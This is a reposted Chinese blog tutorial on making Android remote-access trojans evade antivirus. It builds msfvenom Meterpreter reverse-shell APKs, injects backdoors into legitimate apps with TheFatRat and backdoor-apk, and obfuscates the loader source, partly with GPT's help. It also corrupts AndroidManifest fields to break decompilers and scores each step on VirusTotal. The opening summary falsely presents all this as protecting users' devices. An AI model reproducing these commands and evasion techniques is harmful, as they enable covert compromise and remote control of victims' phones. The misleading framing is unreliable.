Android 免杀教程,Android免杀教程详解

马肤

温馨提示:这篇文章已超过426天没有更新,请注意相关的内容是否还可用!

摘要:本教程介绍了如何在Android系统中实现免杀操作,通过一系列步骤和技巧,帮助用户避免被恶意软件或病毒攻击。本教程内容详细,易于理解,适合Android用户了解并保护自己的设备安全。通过遵循教程中的方法,用户可以提升设备的安全性,避免遭受不必要的损失。

免杀练习两年半

目录

msfvenom 自动生成

自带免杀

工具免杀

Thefatrat

venom

工具小记

加壳

源码免杀

加壳

源码混淆

数据通信

对抗反编译

反编译工具崩溃

ZIP文件格式对抗

AndroidManifest.xml

对抗反编译小结


VT检测 https://www.virustotal.com/gui/home/upload

msfvenom 自动生成

查看一下msfvenom里面的android木马

msfvenom -l payloads | grep android

Android 免杀教程,Android免杀教程详解 第1张

使用 android/meterpreter/reverse_tcp

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=10008 R > black.apk

Android 免杀教程,Android免杀教程详解 第2张

直接使用msfvenom生成的病毒APK,丢到VirScan里面

Android 免杀教程,Android免杀教程详解 第3张

10/46 , 蒽....这也行virustotal检查,26/64....

Android 免杀教程,Android免杀教程详解 第4张

自带一部分免杀效果

自带免杀

msfvenom自带有免杀,接下来使用自带工具进行简单免杀查看msf自带编码器

msfvenom --list encoders

Android 免杀教程,Android免杀教程详解 第5张

这两个效果是最好的

Android 免杀教程,Android免杀教程详解 第6张

虽然这个是x86的,但是也能兼容在APK中,编码一次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai R > black_1.apk

Android 免杀教程,Android免杀教程详解 第7张现在是 9/59

Android 免杀教程,Android免杀教程详解 第8张

编码20次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai -i 20 R > black_2.apk

Android 免杀教程,Android免杀教程详解 第9张

跟编码一次效果一致

Android 免杀教程,Android免杀教程详解 第10张

使用 -b 特征码无效

Android 免杀教程,Android免杀教程详解 第11张

使用多重编码,增大免杀概率

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -a dalvik --encoder x86/call4_dword_xor --iterations 5 --encoder x86/countdown --iterations 4 --encoder x86/shikata_ga_nai --iterations 3 -o encoded.apk

这里用到了 x86/call4_dword_xor,x86/countdown,x86/shikata_ga_nai 三个编码器

Android 免杀教程,Android免杀教程详解 第12张

没想到免杀效果反而变弱了,只能说是有的编码器特征已经被记录在了检测引擎里面,只要用了就会被检测到

工具免杀

APK免杀的工具好像比较少

Thefatrat

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh

安装部署弄半天

Android 免杀教程,Android免杀教程详解 第13张

环境OK了之后运行

sudo ./fatrat

Android 免杀教程,Android免杀教程详解 第14张

进入程序主界面

Android 免杀教程,Android免杀教程详解 第15张

APK相关的就第五条,在原有的APK文件里面植入后门,这里的APK就用李跳跳吧额忘记这玩意加过壳了

Android 免杀教程,Android免杀教程详解 第16张

拿一个之前同事给我的没加壳的优酷

Android 免杀教程,Android免杀教程详解 第17张

这里有三个方法可以选择

  • 使用 Backdoor-apk 0.2.4a:Backdoor-apk 是一个用于在Android应用程序中嵌入后门的开源工具。它允许攻击者在现有的APK文件中插入恶意代码,以实现对目标设备的远程访问或控制。该方法依赖于 Backdoor-apk 工具的功能和特性,并且可以通过指定参数来自定义后门的行为。

    不过这个项目也几年没更新了,原项目地址为 https://github.com/dana-at-cp/backdoor-apk

    • 使用旧的 Fatrat 方法:这是指使用旧版本的 TheFatRat 工具来创建后门。TheFatRat 是一个基于Metasploit框架的多合一工具,旨在简化后门的创建和利用。它提供了多种攻击向量和功能,包括生成恶意应用程序、创建恶意文档等。使用旧的 Fatrat 方法可能涉及使用过时的工具版本和技术。

      这个方法应该就是fatrat内置的方法

      • 使用 MsfVenom 嵌入式方法:MsfVenom 是Metasploit框架中的一个强大工具,用于生成定制的恶意代码。嵌入式方法是指使用 MsfVenom 来生成恶意有效负载,并将其嵌入到合法应用程序或文档中,以创建后门。这种方法可以通过设置有效负载选项和参数来自定义后门的行为。

        这里我们当然要把每种方式都试一下

        backdoor-apk

        Android 免杀教程,Android免杀教程详解 第18张

        这里的权限文件是否要混淆,我建议保持原样,减少特征结果出现了这个问题

        [!] Failed to recompile original project with backdoor

        Android 免杀教程,Android免杀教程详解 第19张

        单独下载backdoor-apk来进行测试 https://github.com/dana-at-cp/backdoor-apk ,还是存在这个问题,考虑是存在加壳或签名验证的问题,找一个本地自签名的APK丢上去试试(因为我试了一下无签名文件也会有问题

        Android 免杀教程,Android免杀教程详解 第20张

        在backdoor-apk/backdoor-apkoriginal/dist/ 目录下生成带后门的apk文件

        Android 免杀教程,Android免杀教程详解 第21张

        不过这个效果也不咋地,开源工具可以理解

        Android 免杀教程,Android免杀教程详解 第22张

        old-fatrat

        拿一个选择old-fatrat

        Android 免杀教程,Android免杀教程详解 第23张

        把我之前的一个Android系统签名的APK放进去,生成成功

        Android 免杀教程,Android免杀教程详解 第24张

        在TheFatRat 文件夹下面会生成 app_backdoored.apk,不过在VT上面的效果并不理想

        Android 免杀教程,Android免杀教程详解 第25张

        msfVenom嵌入式方法

        Android 免杀教程,Android免杀教程详解 第26张

        蒽...让我更新apktool,现在最新的版本是2.8.1

        Android 免杀教程,Android免杀教程详解 第27张

        本地的apktool环境好像因为TheFatRat搞混乱了,第三种方式就跳过吧 懒得搞环境了~

        venom

        项目地址 https://github.com/r00t-3xp10it/venom

        Android 免杀教程,Android免杀教程详解 第28张

        当然是选择 4 Android / IOSagents 有三个可以选择的,这里我们选择APK后缀的 1

        Android 免杀教程,Android免杀教程详解 第29张

        后面就是一些常规设置 和 设置监听了

        Android 免杀教程,Android免杀教程详解 第30张

        /venom/output 里面的木马文件大小是0kb

        Android 免杀教程,Android免杀教程详解 第31张

        如果想要下载真实的木马文件需要本机访问浏览器下载,比如我前面写的IP是10.10.10.1,如果想要下载的话就是写虚拟机的IP

        下载之后丢到VT 26/64

        Android 免杀教程,Android免杀教程详解 第32张

        工具小记

        这样的结果很正常,因为这些工具很久没有更新了,其中的特征都被厂商加入特征库了,但是在工具刚出的时候,都是具有里程碑意义的,我们学习其中的原理即可

        加壳

        下载360加固助手 https://jiagu.360.cn/#/global/download结果被检测了 orz

        Android 免杀教程,Android免杀教程详解 第33张

        再尝试一下 https://github.com/woxihuannisja/Bangcle

        java -jar Bangcle.jar b .\black_1.apk

        也不行

        Android 免杀教程,Android免杀教程详解 第34张

        换一个APK,然后卡住了

        Android 免杀教程,Android免杀教程详解 第35张

        蒽....加壳其实可以过很多特征码检测的扫描工具,这里没有找到能直接用的就算了

        源码免杀

        要想进行源码免杀,就得先知道源代码做了什么其实也可以替换msfvenom生成木马APK的smail文件,但实际上特征还是在,如果想按照这种思路的话,先知上面之前有文章 https://xz.aliyun.com/t/2967创建一个什么都不做的Android项目,检查一下有没有误报

        Android 免杀教程,Android免杀教程详解 第36张

        编写Android app工程,把msfvenom里面的移植过来

        Android 免杀教程,Android免杀教程详解 第37张

        这部分其实是加载器代码

        Android 免杀教程,Android免杀教程详解 第38张

        想要在本地运行,配置文件需要写到 configBytes 列表里面,因为这个配置列表我不知道是怎么生成的,看注释里面好像是 metasploit-framework/lib/rex/payloads/meterpreter/config.rb 文件所以这部分直接跳过加密解密配置部分,稍微魔改一下

        Android 免杀教程,Android免杀教程详解 第39张

        这里会走入 if 分支,所以我们在这里魔改

        Android 免杀教程,Android免杀教程详解 第40张

        修改main方法

        Android 免杀教程,Android免杀教程详解 第41张

        投递到手机中启动

        Android 免杀教程,Android免杀教程详解 第42张

        查看是否为我们的机器

        Android 免杀教程,Android免杀教程详解 第43张

        对比PID一致

        Android 免杀教程,Android免杀教程详解 第44张

        换一个有杀毒软件的手机

        Android 免杀教程,Android免杀教程详解 第45张

        Android 免杀教程,Android免杀教程详解 第46张

        这个时候的APK放到VT上面是 8/64

        Android 免杀教程,Android免杀教程详解 第47张

        加壳

        把源码拿出来之后,预感就可以过360加壳的检测了,果不其然

        Android 免杀教程,Android免杀教程详解 第48张

        估计之前的检测也是通过msfvenom生成APK的包名之类的特征来检测的丢到GDA里面可以看到是成功加壳了

        Android 免杀教程,Android免杀教程详解 第49张

        这个时候丢到VT上面,居然还是 8/66,沉默了家人们

        Android 免杀教程,Android免杀教程详解 第50张

        虽然有自动脱壳的可能性,但是这样计算量太大了,我感觉不会这么快就解出来去除xml里面的这部分内容,主要是感觉这个特征太明显了

        Android 免杀教程,Android免杀教程详解 第51张

        依旧这样

        Android 免杀教程,Android免杀教程详解 第52张

        再改改XML里面的各个参数值,stage改成lib引用

        Android 免杀教程,Android免杀教程详解 第53张

        发现VT里面有的是检测到了壳产生的告警

        Android 免杀教程,Android免杀教程详解 第54张

        打开一个正常的APK,丢到VT上面

        Android 免杀教程,Android免杀教程详解 第55张

        给它进行360加固,再丢到VT上面

        Android 免杀教程,Android免杀教程详解 第56张

        额....所以有的告警其实是360加固导致的,免费的360加固里面会存在特征文件,需要使用付费版才可以去除 orz

        Android 免杀教程,Android免杀教程详解 第57张

        • ESET-NOD32

        • Fortinet

        • MaxSecure

          看起来都是误报但是 K7GW 的特征是 Trojan ( 0052d2661 ),之前木马APK的特征它报的是 005983af1,暂且认为是有对于msf的特定检测

          去除Android本身的权限校验,留下

           

          因为我们需要用这个权限来启动service,当然其他权限其实也可以留下来一部分,但是这里直接全部去掉

          Android 免杀教程,Android免杀教程详解 第58张

          加固

          Android 免杀教程,Android免杀教程详解 第59张

          按照我们之前说的360加固壳会出现误报,这里实际上只有三个工具检测是生效的

          • K7GW Trojan ( 0052d2661 )

          • Kaspersky

          • ZoneAlarm by Check Point

            不影响攻击机获取shell,某些针对Android上的功能会受到影响

            Android 免杀教程,Android免杀教程详解 第60张

            源码混淆

            源码混淆主要从两个方面进行,主工程代码和lib库混淆关于特征是在主工程还是lib库,我们可以在不引入lib库的情况下进行测试,而且lib库里面的代码实际上我们只有需要解析config和使用http通道的时候才会用到,当我们选择SOCKET的时候,是用不到lib库的(更加理所当然的去除掉它们

            Android 免杀教程,Android免杀教程详解 第61张

            结果依旧

            Android 免杀教程,Android免杀教程详解 第62张

            简单从下面几个方向进行修改:

            数据通信

            先把socket通信去掉

            Android 免杀教程,Android免杀教程详解 第63张

            依旧

            Android 免杀教程,Android免杀教程详解 第64张

            所以这部分可以直接跳过了,直接修改启动和运行方式

            启动和运行方式修改

            这个部分其实比较抽象抛砖引玉吧,如果你想让自己的字迹不被别人看出来,最好的方法是用你的左手写代码也是同理,刚好GPT写代码很死板,这个任务丢给它刚好

            Android 免杀教程,Android免杀教程详解 第65张

            以此类推,然后再删掉一些多余的代码,比如findContext()等等,在不考虑性能的情况下,把全局变量和局部变量换一下位置在不加壳的情况下 1/64,依旧能够上线

            Android 免杀教程,Android免杀教程详解 第66张

            Android 免杀教程,Android免杀教程详解 第67张

            最后加个壳,反而变多了,之前检测出木马的Antiy现在没有告警了,可以理解为已经绕过了这四个检测我们前面提到过,都是针对加固的告警

            Android 免杀教程,Android免杀教程详解 第68张

            经过排查之后发现一个很搞笑的点,杀毒软件还检查 buildToolsVersion 和 minSdkVersion吗查了一下原因如下

            • 兼容性问题:minSdkVersion指定了APK所需的最低Android系统版本。恶意软件通常会选择较低的minSdkVersion,以便在更多设备上运行。杀毒软件会检查minSdkVersion,如果它较低且与APK的其他特征相匹配,就可能被认为是木马。

            • 安全漏洞:较旧的Android版本可能存在已知的安全漏洞或弱点,黑客和恶意开发者可能会利用这些漏洞来进行攻击。因此,一些杀毒软件会关注minSdkVersion,以便识别并阻止可能利用这些漏洞的恶意软件。

            • 平台限制:某些安卓功能、API或权限只适用于特定的Android版本或更高版本。恶意软件可能会试图突破这些限制来执行危险操作。通过分析minSdkVersion,杀毒软件可以判断APK是否使用了不适当或不合理的安卓功能,从而将其标记为潜在的木马。

              实验步骤如下:现在minSdkVersion 为 28

              Android 免杀教程,Android免杀教程详解 第69张

              Antiy-AVL 告警 Trojan/Generic.ASMalwAD.B6

              Android 免杀教程,Android免杀教程详解 第70张

              修改为 30 (反正不等于28就行,我测试了一下26也可以),现在是 DrWeb 告警 Android.Siggen.Susp.4604

              Android 免杀教程,Android免杀教程详解 第71张

              这个告警经过排查修改布局库版本可以避免

              Android 免杀教程,Android免杀教程详解 第72张

              修改为

              implementation 'androidx.constraintlayout:constraintlayout:2.1.4'

              估计是跟某个木马的库版本匹配上了

              Android 免杀教程,Android免杀教程详解 第73张

              检查上线

              Android 免杀教程,Android免杀教程详解 第74张

              对抗反编译

              对抗反编译是一门哲学

              虽然前面我们已经很成功了,但是还是有一个遗憾,那就是我们删除了一些权限来进行免杀获取shell,权限文件存储在APK解压后的AndroidManifest.xml 文件里面

              如果你跟我一样是一个爱读书的好孩子,在《Android软件安全与逆向分析》第十章中就专门花了一章的篇幅来提到 Android程序的反破解技术AV在静态检测的过程中,实际上跟软件逆向静态分析没有什么区别,所以我们在这部分进行一下AV对抗

              反编译工具崩溃

              大多数文章是通过反编译工具崩溃来实现对抗,但是这个方法具有版本限制,在新版本的工具上可能就没有这个问题了,比如对抗dex2jar,这里就不再赘述

              ZIP文件格式对抗
              ZIP通用位伪加密

              修改ZIP通用位来进行伪加密,比如使用 ZipCenOp.jar这个工具这种方法对于android 4.2.x版本及以后系统已经不适用了,Android系统会拒绝这种加密apk的安装

              AndroidManifest.xml

              这一小节主要讲如何对 AndroidManifest.xml 进行操作实现杀毒软件突破

              AndroidManifest.xml是白月光

              AndroidManifest 组合权限判断

              将上一节的免杀APK打开权限开关

              Android 免杀教程,Android免杀教程详解 第75张

              VT 现在是 3/65

              Android 免杀教程,Android免杀教程详解 第76张

              APK木马里面的某些功能一定是需要某个权限的,但是申请这些权限也不一定是恶意应用个人感觉是有部分误报了,重新创建一个新的项目,什么都不干只申请这些权限

              Android 免杀教程,Android免杀教程详解 第77张

              GPT也觉得这是正常权限

              Android 免杀教程,Android免杀教程详解 第78张

              无妨,猜测可能是组合权限判定,我们先删除某些权限删掉

              
              

              Android 免杀教程,Android免杀教程详解 第79张

              当然这几个是我随便删的,组合权限判断很死板,也有可能删掉一两个权限就能达成免杀,现在再到VT上面 就变成了

              Android 免杀教程,Android免杀教程详解 第80张

              AndroidManifest 幻数

              如果你跟我一样做过逆向,你会发现偶尔我们使用apktool 去逆向APK的时候会出错,因为AndroidManifest.xml文件里面某些字节出错了(导致apktool出错的可能很多,也可以是在Android代码里面留陷阱),总而言之,就是解析XML不成功,这样的情况下还想看到里面的权限列表当然是不可能的(但是APK是能正常运行的),我们利用这个特性给AV一点小小的震撼

              链安上面有一篇这个文章 https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail,但是是从修复角度来看待的问题,我们需要的是

              • Android能够成功安装运行

              • 逆向软件不能解析AndroidManifest.xml

                具体需要修改哪一位能阻碍逆向?本来我是想通过fuzz的方式来找到单位幻数,查资料的时候发现看雪上有师傅研究过https://bbs.kanxue.com/thread-272045.htm

                AndroidManifest文件的幻数(Magic Number),即文件头为0x00080003。将其修改后,反编译工具就无法识别AndroidManifest文件,导致反编译失败

                Android 免杀教程,Android免杀教程详解 第81张

                重新打包为APK使用AndroidKiller反编译出错,这里的apktool版本是 2.4.1

                Android 免杀教程,Android免杀教程详解 第82张

                当然在这种情况下AndroidManifest.xml是看不了的

                Android 免杀教程,Android免杀教程详解 第83张

                使用GDA,这里的AndroidManifest文件显示为空

                Android 免杀教程,Android免杀教程详解 第84张

                但是当我使用2.8.1版本的apktool的时候,幻数这个问题就被修复了

                Android 免杀教程,Android免杀教程详解 第85张

                AndroidManifest.xml成功被分析

                Android 免杀教程,Android免杀教程详解 第86张

                对APK添加证书后安装,即便是存在幻数,也能够成功安装

                Android 免杀教程,Android免杀教程详解 第87张

                具体是为什么Android能解析,之前的反编译工具不行,需要看Android这部分的源代码

                Android 免杀教程,Android免杀教程详解 第88张

                如源码所示,没有验证前两个字节是否是 0x0003,只对 headerSize 的合法性做了验证,所以修改了之后安装没问题

                stringPoolSize陷阱

                修改字符串个数 stringCount 字段,导致跟实际对应不上,也会造成AndroidManifest.xml解析出现问题实际上这里是68,我们将stringCount 设置为69

                Android 免杀教程,Android免杀教程详解 第89张

                然后重新保存签名,这个时候最新的apktool也识别不了了

                Android 免杀教程,Android免杀教程详解 第90张

                但是我们能够正常安装运行,为了进一步验证正确性,看一下日志是否去外连我的恶意服务器了可以看到存在监听动作(报错请忽略,此时服务器没有开启监听),说明APK恶意代码部分没问题

                Android 免杀教程,Android免杀教程详解 第91张

                对抗反编译小结

                因为写这篇文章的时间比较长,写到这里的时候发现卡巴斯基已经把源码混淆部分的特征加进去了,去除部分组合权限后的通过率是 2/65 orz

                Android 免杀教程,Android免杀教程详解 第92张

                因为我要做对抗反编译的对照实验,所以需要先把免杀降到0经过检查发现是这部分代码被加入了特征

                private static String getJarPath(String path){
                    String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
                    return filePath + ".jar";
                }

                简单改一下

                private static String a(String b){
                    String randomNum = Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
                    String c = b + File.separatorChar + randomNum;
                    return c + ".jar";
                }

                龙王归位

                Android 免杀教程,Android免杀教程详解 第93张

                把之前注释掉的权限都开放,变成了 3/64

                Android 免杀教程,Android免杀教程详解 第94张

                因为感觉stringPoolSize陷阱效果比较好,这里就是用这个方法来阻碍分析

                Android 免杀教程,Android免杀教程详解 第95张

                跟之前一样 这里的apktool 反编译是被阻碍的

                Android 免杀教程,Android免杀教程详解 第96张

                VT上面的效果为 2/65,干扰了 Sophos 杀毒软件的判断

                Android 免杀教程,Android免杀教程详解 第97张

                参考链接

                • https://www.cnblogs.com/-qing-/p/11421735.html

                • https://www.freebuf.com/articles/network/249014.html

                • https://www.anquanke.com/post/id/86353

                • https://www.baichuanweb.cn/article/example-65

                • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

                • https://www.freebuf.com/articles/system/227462.html

                • https://anhkgg.com/aanti-virus/

                • https://misakikata.github.io/2018/09/%E5%85%B3%E4%BA%8EThefatrat%E5%85%8D%E6%9D%80%E4%BD%BF%E7%94%A8/

                • https://zone.huoxian.cn/d/1081-androidapp

                • https://cloud.tencent.com/developer/article/1472324

                • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

                • https://bbs.kanxue.com/thread-272045.htm

                  原文地址: https://xz.aliyun.com/t/12893

                  学习更多渗透技能!体验靶场实战练习,请看下图Android 免杀教程,Android免杀教程详解 第98张

                   渗透工具

                  Android 免杀教程,Android免杀教程详解 第99张

                  技术文档、书籍

                  Android 免杀教程,Android免杀教程详解 第100张 Android 免杀教程,Android免杀教程详解 第101张

                  Android 免杀教程,Android免杀教程详解 第102张

                  面试题

                  帮助你在面试中脱颖而出

                  Android 免杀教程,Android免杀教程详解 第103张

                  视频

                  基础到进阶

                  环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

                  Android 免杀教程,Android免杀教程详解 第104张 Android 免杀教程,Android免杀教程详解 第105张

                  Android 免杀教程,Android免杀教程详解 第106张


0
收藏0
文章版权声明:除非注明,否则均为VPS857原创文章,转载或复制请以超链接形式并注明出处。

相关阅读

  • 【研发日记】Matlab/Simulink自动生成代码(二)——五种选择结构实现方法,Matlab/Simulink自动生成代码的五种选择结构实现方法(二),Matlab/Simulink自动生成代码的五种选择结构实现方法详解(二)
  • 超级好用的C++实用库之跨平台实用方法,跨平台实用方法的C++实用库超好用指南,C++跨平台实用库使用指南,超好用实用方法集合,C++跨平台实用库超好用指南,方法与技巧集合
  • 【动态规划】斐波那契数列模型(C++),斐波那契数列模型(C++实现与动态规划解析),斐波那契数列模型解析与C++实现(动态规划)
  • 【C++】,string类底层的模拟实现,C++中string类的模拟底层实现探究
  • uniapp 小程序实现微信授权登录(前端和后端),Uniapp小程序实现微信授权登录全流程(前端后端全攻略),Uniapp小程序微信授权登录全流程攻略,前端后端全指南
  • Vue脚手架的安装(保姆级教程),Vue脚手架保姆级安装教程,Vue脚手架保姆级安装指南,Vue脚手架保姆级安装指南,从零开始教你如何安装Vue脚手架
  • 如何在树莓派 Raspberry Pi中本地部署一个web站点并实现无公网IP远程访问,树莓派上本地部署Web站点及无公网IP远程访问指南,树莓派部署Web站点及无公网IP远程访问指南,本地部署与远程访问实践,树莓派部署Web站点及无公网IP远程访问实践指南,树莓派部署Web站点及无公网IP远程访问实践指南,本地部署与远程访问详解,树莓派部署Web站点及无公网IP远程访问实践详解,本地部署与远程访问指南,树莓派部署Web站点及无公网IP远程访问实践详解,本地部署与远程访问指南。
  • vue2技术栈实现AI问答机器人功能(流式与非流式两种接口方法),Vue2技术栈实现AI问答机器人功能,流式与非流式接口方法探究,Vue2技术栈实现AI问答机器人功能,流式与非流式接口方法详解
  • 发表评论

    快捷回复:表情:
    评论列表 (暂无评论,0人围观)

    还没有评论,来说两句吧...

    目录[+]

    取消
    微信二维码
    微信二维码
    支付宝二维码